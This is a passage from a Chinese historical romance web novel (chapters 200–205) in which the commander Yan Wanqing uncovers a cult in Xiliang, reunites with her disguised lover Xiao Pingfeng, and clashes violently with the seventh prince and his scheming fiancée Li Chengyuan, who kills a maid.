“一年也就一次。”城主轻轻的说道:“每年看,每年都会被感动到,人啊,无论经历了多少风雨,心变得多么坚硬,却还是有一块地方是柔软的,这块柔软会证明活着。” 第二百章 合格男演员,入戏真快 这块柔软,会证明活着。 燕晚清听着这句话,不知怎的眼眶微微湿润起来。 “卑职其实一直有个问题憋在心里,想要问燕帅。”城主看着燕晚清说道。 燕晚清看着他,没有立刻回答而是问道:“你叫什么名字?” 城主愣了一下,他显然没有意料到燕晚清会这么问,好在很快反应过来,他说道:“纪云台。” “纪云台,很好听。” “燕帅喜欢就好。”纪云台笑着弯了弯眉眼。 燕晚清说道:“你要问什么问题?” “京都距离西凉千里之外,是什么原因让燕帅主动跟陛下请命,要远征到这里来平定倭寇的?”纪云台问道,其实他镇守西凉城已经很多年了,有他在,城是不会破的,这也不是他自夸,确实是有这个本事。 燕晚清知道纪云台是什么意思,她想了想说道:“大概是想要把父兄们征战过的地方,重新再走一遍,拿回这些他们曾经用血肉铺出来的国土心境吧。” “燕帅不愧是女中豪杰。”纪云台不吝啬的竖起了大拇指。 燕晚清嗤之以鼻:“说吧,圣女和神教的事情。” 纪云台说道正事,一脸正色道:“神教其实叫做光明教,是一个上古时期一个比较古老的皇族弥留衍生下来的组织,他们每隔十年便会在民间选举圣女和圣子,用来吸附更多的教徒,他们主张动乱,战争和毁灭之后的重生。” “为什么会突然和燕帅说起这个光明教,其实也是因为卑职最近查到倭寇的动乱,有他们从中作梗的痕迹,至于昨夜为何会出现在幸福村,也是冲着那个叫格桑的圣女去的,卑职想要看看这个突然出现在幸福村的格桑,究竟是个什么来头。” 燕晚清听着他将事情的前因后果全部说清楚,忍不住问道:“你怎么知道格桑是突然出现的?村民们和她的相处状态,很像是认识了很多年。” 纪云台无奈的叹了一口气:“这就是光明教的厉害之处,他们很会给普通人洗脑,那幸福村是卑职一手建设出来的,有多少人,卑职心里还能不清楚么。” “幸福村是你建的?”燕晚清惊讶道。 纪云台一副你竟然瞧不起我的表情:“燕帅不要从门缝里看人,卑职能够守着西凉城这么多年,还能让百姓们安居乐业,这足以说明卑职是一个特别合格的城主。” “没见过这么夸自己的。”燕晚清对于纪云台的脸皮十分无奈。 他莫非这些年都是用脸皮守城的? “燕帅在西凉城也不是只待一日两日,时间会证明卑职究竟有多么的优秀。” 燕晚清直接打断了纪云台的话。 “我听幸福村的村民说,历代的圣女都要嫁给西凉城的城主,这件事情你知道吗?” 纪云台皱着眉头:“闻所未闻。” “但是村民对此是信以为真的。”燕晚清回忆卓玛说起这件事的表情,说明她的认知里这就是一个习俗。 由此可见纪云台说的光明教确实在洗脑方面做的很好。 “那他们接下来要对付的人就是你了。”燕晚清说道:“毕竟将圣女嫁给西凉城的城主,然后再借由你的城主身份,进一步吸收整个西凉城的子民作为教徒,这件事情会变得容易的多。” “之前容易,现在可就说不定了。”纪云台摇了摇头:“燕帅的到来,彻底打乱了光明教的计划。” 确实,军队驻扎下来,戒备更加森严,教徒们很难渗透进来。 但燕晚清总觉得这迟早就是时间的问题。 “明面上目前只有格桑是光明教的圣女,其他教徒的身份根本不得知,他们在暗我们在明,这件事情确实是有点棘手。”纪云台叹了一口气说道。 燕晚清思索片刻,将目光落在了纪云台身上:“你知道今晚格桑也在西凉城内么?” 纪云台蹙眉,双手抱住了自己:“燕帅你想干什么?卑职不卖身的。” “这件事情容不得你,既然光明教希望你和圣女接触,那么你就得积极响应他们,不然怎么引蛇出洞呢。”燕晚清不顾纪云台的反对,将轮椅转了个方向朝着下面推去。 她按照记忆中的路线,朝着刚刚的拿过巷子推了过去,一边推她一边寻找格桑和逸之的影子。 俊男美女是比较容易被找到的。 没过多久,燕晚清就在河边上看见了他们二人。 纪云台看着格桑,哭丧着脸:“这女的不是要嫁给本城主吗,怎么还跟别的男的在一起放祈福灯啊。” “入戏真快。”燕晚清竖起大拇指,她说道:“本帅自我牺牲,替你引开她身边的男的,你自己要积极主动一点,让圣女注意到你。” 说着燕晚清将纪云台推到了路中央非常明显的地方。 然后自己飞身上了一棵高大的树,躲在了阴影里面。 格桑手里拿着祈福灯,缓缓的朝着空中放去,神情十分的虔诚,不知道在灯上都写了一些什么愿望。 燕晚清靠在树梢上,看着逸之面无表情的站在旁边。 从树上摘了一片叶子。 燕晚清运功将叶子飘到了逸之的面前,很快引起了他的注意。 此时格桑已经去了买首饰的摊子前面,逸之背对着她站在大街上。 燕晚清从树上轻轻落下,站在了逸之的面前,与此同时纪云台的轮椅到了格桑的旁边。 燕晚清看着逸之,她二话不说拽着人就飞身起来,二人一起上了树梢。 纪云台的轮椅撞到了格桑,两个人正式见面。 “你想干什么?”逸之蹙眉问道。 燕晚清用手直接捂住了他的唇:“看戏。” 摊子前面。 格桑被撞得惊呼一声,纪云台赶紧道歉,并且表示格桑选多少首饰,都算在自己的账上。 摊贩听完直呼城主大气。 格桑眼中闪过惊讶:“你就是西凉城的城主?” 纪云台点头:“刚刚冲撞到了姑娘,实在是在下的不是,让姑娘受惊了。” 格桑赶紧摇了摇手:“没事的没事的。”她的目光下意识在人群中寻找逸之的身影,确定找不到人知乎,格桑冲着纪云台露出一抹灿烂的笑容。 “你一个人来逛闹市吗?你的属下呢。” 纪云台摇了摇头:“我不太喜欢很多人跟着我,所以大多数时间都是自己一个人。” 格桑点了点头:“这样啊。” 此时摊贩已经将首饰装好,纪云台将荷包拿了出来,买单。 格桑手里捧着首饰盒,看着纪云台说道:“你送我首饰,那么我就陪你逛闹市吧,刚好我也一个人。” 第二百零一章 那个孩子,我很想留住的 听着格桑说自己也一个人的时候,在场的三个人都沉默了。 燕晚清看到纪云台背过去时候的面容,跟吃了十只苍蝇一样难受。 她忍不住就勾了勾唇角。 后脖颈猛地就被人给掐住了。 她抬手就要反击,被身后人一把拥入了怀中。 燕晚清刚要挣扎,就听见他疲惫的声音从耳畔传来:“刚开始以为你不知道,也不想把你卷进来,但是没想到西凉城城主转眼就告诉你了。” “所以你现在要跟我坦白身份了吗?” 身后之人重重的抱着她,似乎要将她揉进骨血中:“燕晚清,我是你的萧苹风,不是逸之,确有其人,但不是我。” “嗯。”燕晚清轻哼一声。 “我很高兴你一眼就讲我认出来了,真的很高兴。”男子的声音带着一丝柔软,下一秒又变得低沉下来:“但是今天晚上的话你让我很不高兴,你说你今天跟谁喝酒了?不知道自己身上有伤么?还喝那么多酒,命不要了!” “说完了吗?”燕晚清轻轻的开口。 紧抱着她的双手微微一松,表明了主人的受伤。 燕晚清转过身,她一只手搂住他的脖颈,一只手扣着他的头颅压向了自己。 唇瓣触碰的瞬间,她就软的一塌糊涂,被萧苹风紧紧的揉进了怀抱中…… 没有人知道,在这颗树荫茂密的树冠中,有一对苦命鸳鸯,正在纵情欢呼。 不知道过了多久,燕晚清猛地挣脱开,开始大口大口的喘气。 听着耳边男子的轻笑声,她抬起拳头给了他一下。 手就被对方抓在了掌心里。 “干嘛?亲是你要亲的,现在还想打人?玩不起是不是。”萧苹风勾着一抹痞笑凑过来。 燕晚清赶紧将他推开:“太窒息了,差点要憋死。” 他就像是一只食不餍足的野兽,恨不得将自己嚼碎了咽进肚子里。 她身上还有伤呢,再这样下去,指不定就要在树上上演乱七八糟的画面了。 “那是我的错。”萧苹风抱着她入怀,今夜狂暴的心,在此刻终于有了港湾,安宁下来了。 燕晚清摸着他的面颊:“你用的是什么易容术,为什么这么逼真,都摸不到边缘。” “这是一种特质的药水。”萧苹风说道:“不过不在我身上,你要是想要,到时候拿给你。” 燕晚清点点头,这种好东西她还是十分需要的。 “说吧,你不在北边,跑到西凉城来干什么了。”燕晚清开始盘问起来。 萧苹风眼里闪过一抹思虑。 他其实查到了一点线索。 关于燕家的嫡长子燕黎安的。 有人称在西边见到过他,再结合当时雁门关失守传出来的燕家嫡长子尸首全无的消息,所以他便到了西凉城过来调查。 这才发现了一个叫光明教的组织。 可是目前为止他没有查到更多的线索。 萧苹风不太想把这个捕风捉影的消息告诉燕晚清,如果燕黎安真的死了,眼下他嘴快说了,也只不过是图给她增添烦恼罢了。 想到这里萧苹风说道。 “其实不是从北边,是直接从京城过来的。” 燕晚清挑眉,她迅速想到了一件事情。 看着萧苹风的脸,她的面颊泛起一阵酡红:“你是不是……” “是我。”萧苹风毫不迟疑的点头:“我太想你了,所以冒着被砍头的风险跑回去看你。” 太疯狂了。 这件事情从萧苹风的嘴里说出来,燕晚清的心跳都跟着止不住的加速。 所以那天她无药可救的时候,是他即使出现帮自己解药了。 所以那天脑海里一些难以言状的画面,其实都是真的。 萧苹风注意到她的面色,轻笑道:“怎么了,现在还在回味么。” “闭嘴!”三两句都没有个正形,燕晚清恼羞成怒的骂道:“那按照卓玛的说法,你也不过就是在我出征的前几日才开始动身的。” “是的。”他本来想一路跟着燕晚清过去的,但是因为收到了探子发现燕黎安的消息,所以他才会提前动身。 “那北边的战事怎么办?你不坐镇真的可以么。”燕晚清有些担忧。 萧苹风胸有成竹的说道:“小打小闹而已,如果不是我压根不想回京都,早就打穿整个北边了,眼下那边人都老实的很,所以我才会有时间回去看你嘛。” 今天晚上萧苹风跟燕晚清说的话,都用的是我。 感觉他们二人之间的距离又好像拉近了一点。 燕晚清无奈的摇了摇头:“你不知道你走的这段时间里,萧鸿深有多么的嚣张,他几乎将朝堂上所有的朝臣都收归了。” “那又如何。”萧苹风完全不在乎:“小小的大渭,谁爱要谁要,反正我不喜欢,我若是想要当皇帝,直接自己打一个国家出来。” 燕晚清:“……”她很想让面前这位爷不要吹牛,但是不可置否他的狂妄是因为自己真的有这样的能力。 亏她还想着过去帮他。 结果人家还有功夫偷跑回去看她。 燕晚清感觉自己引以为傲的东西,在这位爷面前好像变得有点不堪一击。 “在想什么?”萧苹风将脑袋放在她的肩膀上蹭了蹭:“你是不是好几天没洗澡了?” “……嗯。”这话她不知道怎么接,难道她有味儿了?! 受伤了这么多天,她根本没有办法去沐浴换洗。 萧苹风按住怀中挣扎的人:“身上都是草药的味道,挺好闻的。” 这一句简直就是无中生有,暗度陈仓。 燕晚清脸颊气得通红,又挣脱不开:“……你,你为什么见到我不生气啊?” 她忍不住问道。 萧苹风听到她的话,忍不住勾唇笑了:“见到你我开心都来不及,气早就消了。” 他也不是那么愚笨的人,倘若燕晚清一开始就不想要那个孩子,那么早就打掉了,根本不会有机会让自己知道。 这就说明她真的想要留住那个孩子。 只是有缘无份罢了。 燕晚清不知怎的听到这句话,鼻尖就酸了。 “我想跟你道歉,想跟你说对不起……这段时间一直都在伤害你。” “还有那个孩子,我很想留住他,但是当时我身上中了千机之毒……萧苹风,我真的努力过了,但是我就是留不住他……”燕晚清说着声音哽咽起来。 脑海中都是在浴池里面,满是鲜血的画面。 那一瞬间,灵魂被掏空的窒息感。 萧苹风将她抱在怀中:“我知道,我都知道,该说抱歉的是我,那个时候我应该在你的身边的。” 萧苹风心里十分自责。 他以为自己做了很多,却没有想到终究还是将她一个人丢在了黑夜里独自承受。 第二百零二章 风水宝地,不能死人 纪云台本来想把格桑直接骗到城主府里看管起来,可是谁知道这个小丫头怎么都不上套。 没辙,本来都要到城主府的,他又滑着轮椅给人送回去了。 然后他将轮椅驱使到了阴暗的角落里,看着格桑四处张望着,等待之前那个男子出现,两个人一起离开了。 “搞定了吗?”燕晚清突然出现开口问道。 纪云台眼尖的看到她鼻头有些红红的,眼眶也是发红的,挑眉道:“属下在这里牺牲色相,燕帅你竟然找了地方去哭鼻子了!” “啪!”回应纪云台的是燕晚清毫不留情的铁掌。 纪云台:“错了错了,不说了。” 两个人一起回到府上后,常千户就立刻找了过来。 燕晚清愣了一下,跟他走到了一边。 常千户神色紧张的跟燕晚清开口:“我们的探子说约莫一个时辰前,七皇子的手下带着一队铁骑从侧门出去了。” “去哪?”燕晚清蹙眉。 常千户摇了摇头;“朝着南边去的,说是凶神恶煞的。” “糟了!”燕晚清立刻反应过来:“快去背马,白村长有危险!” 纪云台看着燕晚清神色匆忙的朝外面走,赶紧朗声问道:“燕帅,这又是发生了什么事情了?!” 燕晚清本来要朝着外面走的,但是想到什么她又转过身来:“夜晚,你们是如何穿过荒原的?” 萧鸿深向来珍惜自己的生命,不可能大晚上发疯穿过荒原去找白村长的麻烦,除非他知道荒原没有危险。 “只需要一匹被训练过的马。”纪云台说道:“今天早上,七皇子殿下就跟卑职要过了。” 这件事情是没跑了。 燕晚清面色沉着:“劳烦城主提供。” 紧接着她看向常千户说道:“现在迅速召集弟兄们,火速赶往白村长那边,活要见人,死要见尸。” 现在距离七皇子出发已经过去了一个时辰。 倘若真的是冲着白村长过去的,那么这一个时辰已经是回天乏术了。 想到这里,燕晚清抄起长剑朝着城主府里面走去。 萧鸿深和李呈媛的住处靠的十分近,自从她回来之后,到现在都没有看见李呈媛的脸。 等到燕晚清一脸怒气的走进院子的时候,破天荒的发现萧鸿深正在给李呈媛剥葡萄吃。 “什么风把我们的燕帅给吹过来了。”萧鸿深见燕晚清面色不善的走了进来,他用帕子擦了擦手说道。 燕晚清目光落在李呈媛身上,对方则是立刻收回视线,像个鹌鹑一样缩着,后来又觉得自己这样很丢脸,她又故作冷静的坐直了身子。 “你让墨山去了哪里?”燕晚清直接问道。 萧鸿深轻轻勾唇:“自然是去了该去的地方,本殿的属下去办什么事情,还需要跟燕帅交代吗?你这手,是不是伸的太长了。” “我劝你,趁着我没发疯之前赶紧说。”燕晚清捏紧了长剑。 萧鸿深面色阴沉下来:“你在威胁本殿?” “你是不是让墨山去了白村长那里,你想要干什么?!”燕晚清冷着脸质问道。 萧鸿深一脸随意:“一群刁民而已,他们差点伤了本殿的未婚妻还有她肚子里的孩儿,自然是要给点教训的,是吧?”他朝着李呈媛勾唇。 有了萧鸿深当靠山,李呈媛心思安定了很多。 她用手捂着肚子,面上羞怯的点了点头;“多谢殿下爱怜,瑶池才能够化险为夷,他们那群刁民实在是太过分了,殴打瑶池不说,还让瑶池吃泥土,殿下就应该给他们一点教训,让他们知道什么叫做天,什么叫做地。” 听着李呈媛作呕的声音,燕晚清脸色已经黑的能杀人。 李呈媛还嫌不够,继续说道:“倘若不是瑶池命大,可能已经死在那里了,殿下就见不到瑶池了。” 燕晚清被气笑了:“你真有脸说啊,李呈媛。” 李呈媛被燕晚清直接点名,她吓得缩了缩脖子,立刻起身躲在了萧鸿深身后:“殿下!” “别怕,她不敢拿你怎么样。”萧鸿深拍了拍李呈媛的手背安抚的说道。 “有殿下在,瑶池一点都不害怕。” 看着面前二人你一嘴我一嘴的说着,燕晚清手背上的青筋都冒了出来。 真想把这两个人杀了。 杀了他们,然后制造成意外,能多少成的把握? 燕晚清在心中盘算着。 可是她没有想到的是,李呈媛把她的沉默当成了害怕。 “燕晚清你好大的胆子,竟敢执剑进入七皇子的住处,你这是要谋杀七皇子吗?!” “来人啊,快把这个女人抓起来。” 一旁的常千户觉得这个女的脑子有病:“搞没搞错,这次出征,燕帅是统帅,七皇子殿下顶多只是个副统领,副统领要听统领指挥的。” 李呈媛听完非但不收敛,反而笑道:“说什么呢,向来不都是帅印在谁那边,谁就是主帅么?燕晚清的帅印呢?” 帅印被常千户一路带着交给了西凉城的城主。 后面燕晚清回来之后也没有找他去要。 看李呈媛的意思,现在这个帅印已经在萧鸿深的手里了。 “没有帅印是吧。”李呈媛得意起来,她双手放在萧鸿深的肩颈的位置,轻轻的给他按摩,然后继续看着燕晚清说道:“那么燕晚清就不是什么燕帅,她根本就是个蓄意刺杀七皇子殿下的乱臣贼子,你们还不速速将其拿下!” “脑子是个好东西,你怎么就没有呢。”燕晚清毫不掩饰自己的讽刺,她抬手对着常千户说道:“去把院门看好,不要放任何一个人进来。” 今天天王老子来了,她燕晚清也要把李呈媛和萧鸿深这两个猪狗不如的东西给做了。 长剑已经出鞘,漫天的剑气朝着萧鸿深和李呈媛铺面而去。 院门口的常千户张大着嘴看着自家大帅拿着长剑辟出了菜刀的气势,用手赶紧捂住了嘴,免得自己叫出声来。 石桌在她的攻势之下瞬间四分五裂。 萧鸿深这回知道燕晚清是动真格的了。 “你疯了不成!你这可是死罪!” 燕晚清冷笑:“刚进门的时候就让你收敛点,你不听,现在老子发疯了你跟我是死罪,萧鸿深我本来想留你一命的,可是谁叫你耳根子软听了李呈媛的挑拨,非要去动白村长一族人,既然是这样,我也只能送你们下去见他们了。” 剑气如虹,再次反转成花朝着李呈媛过去。 萧鸿深赶紧伸出手抓住李呈媛躲在自己的身后。 燕晚清一掌将萧鸿深给打倒在地,口吐鲜血。 李呈媛见状尖叫出声。 院门口的常千户被纪云台一把抱住了腰肢:“你别挡了,出人命了!让我进去!我这儿可是风水宝地,不能死人的啊……” 第二百零三章 敢做不敢当,德行败坏 常千户恪守着燕晚清的命令就是军令这件事情,死活不让纪云台进来。 纪云台眼看着燕晚清一剑劈下去,那七皇子萧鸿深就要身首异处,赶紧闭上了双眼。 完了。 风水宝地没了。 就听见长剑在地上发出“刺啦”一声,让人耳朵不舒服的声音。 再睁眼已经看见萧鸿深滚到了一边去,燕晚清劈了个空。 “快让我进去!”纪云台赶紧冲着常千户说道。 常千户摇头:“不行,燕帅没允许,谁来也不许进。” “你真是个死脑筋,你家燕帅现在是刺杀皇子啊,这种话你也听?!”纪云台没见过这么胆子大的统帅,也没有见过这么听话的属下。 实在是有够离谱的,整件事。 院子内能被砍的东西都被砍了,燕晚清就像是一条疯狗,只想在这二人身上用长剑刺出窟窿。 李呈媛像是一只走地鸡,疯狂尖叫,疯狂乱窜。 如果不是萧鸿深几次三番的救她,此刻的她早就被刺了不知道多少个窟窿了。 “够了!”萧鸿深实在是受不了了,他大声呵斥道:“燕晚清你到底想干什么!” “杀你们。”她拖着长剑喘着气:“不明显么?” 萧鸿深此刻已经深受重伤,他根本没有力气再和眼前的燕晚清争斗了,此时看见门口的纪云台,他怒火中烧:“城主就在外面看戏是吗?” 纪云台一把将常千户推到在地上,自己滑着轮椅朝着院子速速赶过去:“哪儿能啊殿下,卑职只不过是遇到了一点突发状况。” “纪云台,这件事情与你无关,你现在最好出去,不然待会儿连你一块砍。”燕晚清杀红了眼。 纪云台看着她的状态微微有点不对,他蹙眉劝道:“燕帅这是练功走火入魔了么?” 萧鸿深听罢也看向燕晚清,只见她双眸赤红,青筋直冒,真有点走火入魔的样子。 “那还不赶紧反杀她。”李呈媛听见燕晚清走火入魔赶紧上前说道。 萧鸿深倒是想,但他根本不是对手。 李呈媛又一点用都没有。 纪云台是个瘸子。 燕晚清将目光落在了李呈媛身上:“你要杀我?” 李呈媛吓得往后退了两步,双腿都开始打颤。 眼看着燕晚清就要暴怒,下一秒她站在原地疯狂挥舞长剑。 “她这是怎么了?”萧鸿深问道。 纪云台叹了一口气:“卑职把她放在了阵法里,一时半会人是出不来了,等到她待会儿把心里的火气发出来,就可以了。”大约是急火攻心导致的走火入魔。 只要发泄出来,就不会有大碍了。 这七皇子和瑶池县主究竟做了什么造孽的事情,能把燕晚清这样冷静的人都逼成了这个样子。 “殿下,赶紧趁这个时候喊人过来,把她抓起来。”李呈媛在旁边说道。 萧鸿深跃跃欲试,纪云台却直接拦在了燕晚清的身前。 “殿下慎重啊,燕帅此行肩负着重任,切勿因小失大啊。” 萧鸿深叹了一口气,摆了摆手:“随你吧。” 他一瘸一拐的走了出去,让下人们去喊大夫去了,李呈媛根本不敢待在原地,也跟着离开了。 燕晚清清醒过来的时候,已经是次日。 身上原本愈合的伤口,此时也是多处崩坏,能够清晰感受到身上传来的疼痛。 她想起来昨天晚上发生的事情,不由得有些头疼的,摁住了太阳穴。 走火入魔了。 不过昨天晚上没有能够杀掉他们两个人,感觉还是有些可惜。 燕晚清此刻眼底一片清明,现在在想要动手,怕是要从长计议了。 不过她是绝对不会让他们两个人好受的。 想到这里,她冲着外面喊道:“来人。” 城主府里的丫鬟赶紧走了进来。 “燕帅您醒了。” 燕晚清掀开被褥从床榻上起身,她对着丫鬟说道:“去把常千户喊过来。” 丫鬟不敢耽搁,赶紧跑出去喊人。 没过多久常千户就过来了。 “燕帅。” “嗯。”燕晚清点了点头:“有件事情吩咐你去办,务必要办好。” “燕帅尽管吩咐就是。”经过昨天晚上,常千户对于燕晚清已经算是死心塌地,这样有情有义的统帅去哪里找得到? 对待萍水相逢的村民,都能以身犯险,向万恶的权贵,毫不犹豫的挥动手中的长剑。 这份气概,这份胆魄。 又有几分男儿能够做到?更何况他的统帅还那般好看。 “事情都已经写在这封信上面,你出去找几个嘴巴大一点的散播散播,最好闹得全程都知道,务必要传到七皇子的耳朵里。” 常千户捧着信出去了,出于好奇,他打开了信看了一下,随即紧促眉头。 实在没有想到,这瑶池县主的私生活竟然如此糟糕。 上面赫然记录着李呈媛和自己的前姐夫,已经被处决的叛贼吴城南之间的暧昧关系,让他破坏姐姐姻缘,勾引姐夫的事迹写的惟妙惟肖,活色生香。 常千户满脸嫌弃的出门去了。 屋内的燕晚清一脸平静的坐在椅子上。 这份调查记录之前就已经在自己手里了,她一直都没有用出来。 是因为自己不屑的这种阴谋诡计。 可是事到如今她才发现,对待什么人就得用什么办法。 不管阴谋阳谋,能够完成目的,都是好的。 对李呈媛这种人,她就不应该心慈手软。 倘若往后若是寻到了机会,她定杀不留情。 常千户的但是效率确实比较高。 今日燕晚清休一天,没有去训练。 从院子里走出来的时候没看见丫鬟,小厮们都在窃窃私语,仔细一听全都是瑶池县主之前的风流往事。 相信不需要多久,这件事情就会传到七皇子萧鸿深的耳朵里。 到时候她就能够坐山观虎斗,看着他们狗咬狗一嘴毛。 …… 李呈媛从厨房里捧着鸡汤出来的时候,便看见丫鬟们看着自己的眼神有些奇怪。 她皱了一下眉头,没有放在心上。 但是她越走,就发现越来越多的人把目光放在自己的身上。 “你们都看着本县主干什么?”李呈媛冷下脸来:“都闲着没事做是不是?” 她倏地将手里的鸡汤摔在地上。 “那本县主就给你们找点事情做。” 一大盆鸡汤瞬间摔碎在地上,残渣迸溅在青石板上,四处都是,很难清理。 丫鬟小厮们见状,面色都有些不好了。 这个瑶池县主分明就是没事找事。 “自己行为不检点还不让人说,你还有理了。”胆子大的丫鬟开始还嘴,这里本就是她的管辖区域,一大盆鸡汤不知道要清理到什么时候,心里的不满,让她瞬间发泄出来。 李呈媛听她说话,走了过来。 “你把你刚才的话再说一遍。” 丫鬟壮着胆子又说了一遍:“你肚子里的孩子说的好听,是七皇子殿下的,但是谁知道呢?万一你就是个金皇子殿下,戴了绿帽子呢,连自己姐姐的夫君你都敢勾引你,还有什么事情做不出来的?你姐夫的床好爬吗?你这个县主的身份,怕是也来得不干不净吧。” “闭嘴,本县主命令你闭嘴。”李呈媛面目狰狞的嘶吼道。 “敢做不敢听啊?你在京都作威作福惯了,没有人管你,可是这里是西凉城,天高皇帝远,你的县主身份在这里不好使。”丫鬟见状又说道。 “让你闭嘴,你这该死的贱人。”李呈媛从地上捡起滚烫的鸡肉,猛地掐制住丫鬟的下巴,将鸡肉塞了进去。 为了防止丫鬟挣扎,李呈媛直接用胳膊挟住她的脖子,然后另外一只手继续把鸡肉全部塞进丫鬟的嘴里。 周围的人都被这一幕吓傻了。 等到他们反应过来,去拽李呈媛的时候,丫鬟已经被鸡骨头卡在脖子里,深深的卡死了。 西凉城的城主府里终于死了人。 第二百零四章 别叫,再叫忍不住了 李呈媛一气之下。将城主府里的丫鬟给杀了。 丫鬟死的时候满嘴都是被烫伤出来的水泡,脖子上也有被禁锢的痕迹,众目睽睽之下,死相凄惨。 这件事情成功引起了众怒。 纪云台怎么也没有想到一向风平浪静的城主府,会因为一个女人彻底失去了平静。 昏暗的房间里。 李呈媛将自己缩成一团,疯狂的摇头说道:“不是我做的,不是我做的,人不是我杀的。” 哪怕是城主府里所有的下人都看见了,她依然不承认那个丫鬟就是死于她手。 这个女人已经无可救药了。 她的坏她的蠢都是刻在骨子里的,她的自私自利是天性。 等到稳婆从她的房间里出来,跟众人确认她的胎儿还在,众人神色各异。 “还是七皇子殿下会玩啊。”燕晚清走的时候添油加醋的说道。 萧鸿深的脸色黑的像是墨汁。 等到人都走了,他一脚踹开门走了进去。 李呈媛见他进来了,泪眼朦胧的伸开了双手:“殿下,抱抱。” 抱个头。 萧鸿深此刻只想掐死眼前这个女的。 “本殿问你什么,接下来你最好如实回答。” 李呈媛见萧鸿深如此冷漠,当下知道他可能在外面听到了一些风言风语了,眼泪瞬间流了下来。 “和殿下在一起经历过这么多事情,本以为我们俩的感情已经很坚定了,可是没有想到遇到事情的第一时间,殿下没有选择相信我,而是相信外面这些陌生人……”说这话的时候,她哭的梨花带雨,模样十分可怜。 看着不断抽泣的弱小身影,萧鸿深心中有些动摇。 倘若这个女人肚子里怀的真的是自己的种,那么她说的这些话,确实有打动到他。 但是倘若这个女人肚子里不是自己的种,那么此刻他的脑袋上已经戴着一顶高高的绿帽子了,还是死人的绿帽子。 萧鸿深阴沉着一张脸,没有说话。 李呈媛却直接起身推搡着他:“既然殿下不相信我,那就没有必要再来问我,横竖不过是一副汤药的事情,就当我们与这个孩子没有缘分吧。” 萧鸿深听到这话心里实在过意不去了:“本殿目前为止还一句话都没有说呢,你就脑补了这么多。” “那不然呢?”李呈媛气急败坏:“殿下刚刚说话的态度,分明就不是站在我这一边的,既然是这样,我又何苦受这个气,不如直接打了,算我们娘俩命苦。” “你不要说这种话,当心动了胎气。”萧鸿深叹了一口气,将人揽在了怀中。 这一抱,让他直接错失了李呈媛眼里狡黠的光芒。 说实话,身为孩子的母亲,她自己都不知道这个孩子的父亲是谁,但是古代能够证明孩子身份的,只有滴血认亲这种低级的手段,所以想明白之后,李呈媛发现自己根本没有什么好害怕的。 孩子打了,她能够让七皇子殿下永远愧疚,并且怀着这份愧疚,永远对自己好。 孩子若是生下来了,那就是七皇子府里的嫡长子,身份地位都很尊贵,这样更加没有什么好害怕的。 萧鸿深不知道自己怀中的女人正在打着什么小九九。 但是他心里想的是,只要孩子一生下来有半点跟自己不像,那他就直接让接生的稳婆掐死在襁褓中。 两个人心怀鬼胎拥抱在一起。 …… 燕晚清是在训练场的时候,收到了白村长一族满门皆灭的消息,自己派过去的人终究还是没能够赶上。 他们过去的时候,整个村庄包括山神庙都被大火覆盖了。 整个村长一个活口都没有留下来。 要说狠毒。 还是萧鸿深狠。 燕晚清自嘲的笑了笑,将手里的信纸撕成了碎片,张开手,风将碎片吹到了训练场的每一个角落。 训练回来的路上,她看见了多日不见的萧苹风。 这些时日格桑总会找借口来城主府里和纪云台聊天,但是身边是看不到萧苹风的,燕晚清一直忙于整顿军队,也没有来得及去打探他的消息。 只是这次见面后,她发现萧苹风身上有很多伤口, 以及他身后跟着一匹银色的狼。 “这是?”燕晚清安抚因为狼王受惊的马儿。 萧苹风摸了摸狼王的头:“之前伤你的那头狼。” “所以你这几日是去找它了?”燕晚清皱着眉头。 萧苹风轻笑:“咽不下这口气,便将它打了过来送给你,你看是要杀了做成围脖,还是杀了吃肉?” 听到这两句话,狼王十分不满的嚎出了声。 它呜咽着看着燕晚清,眼里都是怨气。 上次它也没有杀死面前这个人类啊。 怎么这个人类恩将仇报,还让自己的男人过来把它胖揍了一顿绑架过来了。 狼王身上的伤也不少,皮毛上残留着血迹。 看来萧苹风和它之间打了一场恶战。 “跟个小孩子似的。”燕晚清从怀中掏出金疮药,强行摁着萧苹风坐在地上,给他的伤口上涂药。 涂完了大的,她又看向了狼王:“还剩下一点,要不要给你也涂涂?” 狼王不愧是通人性的,都不带扭捏的,直接走到燕晚清的跟前躺好,等着她给它上药。 能上药说明这个人类女子不打算杀自己吃肉或者是惦记自己的皮毛。 “好了。”燕晚清揉了揉毛茸茸的狼脑袋,让它起来。 萧苹风将下巴放在燕晚清的脖颈出,贪婪的吸了一口气,双手从后面将她抱在了怀中:“想要了要把它用做什么?” “放生吧,最近没什么兴趣杀生。”燕晚清勾了勾唇角露出一抹微笑。 经历了白村长的事情之后,她都已经走火入魔过一次了。 现在要修身养性,不能再让自己陷入那种状态了。 “这次西征,你的七弟也过来了。”燕晚清说道。 萧苹风眼皮子不抬:“他最近惹你生气了是吧,要不要我去帮你弄死他。” “弄死是迟早要弄死的,只不过不是现在。”燕晚清心里有自己的打算,前世她因为萧鸿深受尽了非人的折磨,重生之后,她希望萧鸿深也跟她一样尝尝那种味道。 “他的生命力十分的旺盛,轻易是死不了的。”萧苹风难得点评了一下萧鸿深这个人。 就像是黑暗泥土里的蚯蚓,哪怕是断一截也能够继续活下去。 “你还在这里干什么?赶快回到你的狼群去。”燕晚清突然看见狼王还趴在旁边,惊讶的说道。 狼王看了一眼燕晚清,打了哈欠,竟然原地眯上了眼睛。 “它什么意思?不想走了?!”燕晚清有点不敢相信,这毕竟是之前跟她生死搏斗的狼王,眼下被萧苹风揍了一顿,竟然像一条忠犬趴在了旁边。 这画面属实有点违和了。 “滚。”萧苹风伸出脚尖踢了踢狼王,狼王不情愿的睁开了眼睛,然后起身离开了。 狼王还是很听把自己打败的人的话的。 萧苹风一开口,它跑的贼快。 燕晚清捂着唇被这一幕逗笑了。 萧苹风嗅着她发丝间的香气,身体忍不住发生了变化,很快燕晚清就笑不出声了,她尴尬的舔了舔唇角。 “那什么……”她轻轻的开口。 身后人叹了一口气,语气十分无辜:“我只是太想你了。” “你让他收敛一点,这还是在外面。”燕晚清的脸红的像个虾子。 萧苹风却见缝插针:“那不在外面,在屋子里就可以了?” “你要不要脸啊!”燕晚清骂道。 男子在她的脖颈处蹭了蹭,哑着嗓子说道:“在你面前,我早就没有脸面这种东西了。” “萧苹风!”燕晚清动都不敢动,她恼羞成怒的喊道。 “别喊了,再喊我的名字,真的忍不住了。”耳边传来男子喑哑克制的声音。 天知道温玉满怀,他忍得有多么的辛苦。 这个女人根本不知道自己对于他的诱惑力,有多么强! 第二百零五章 坏了风水,皇城突变 燕晚清面颊通红,她双手去按他开始胡作非为的大手,清了清此刻有些柔媚的嗓音说道:“有个问题。” 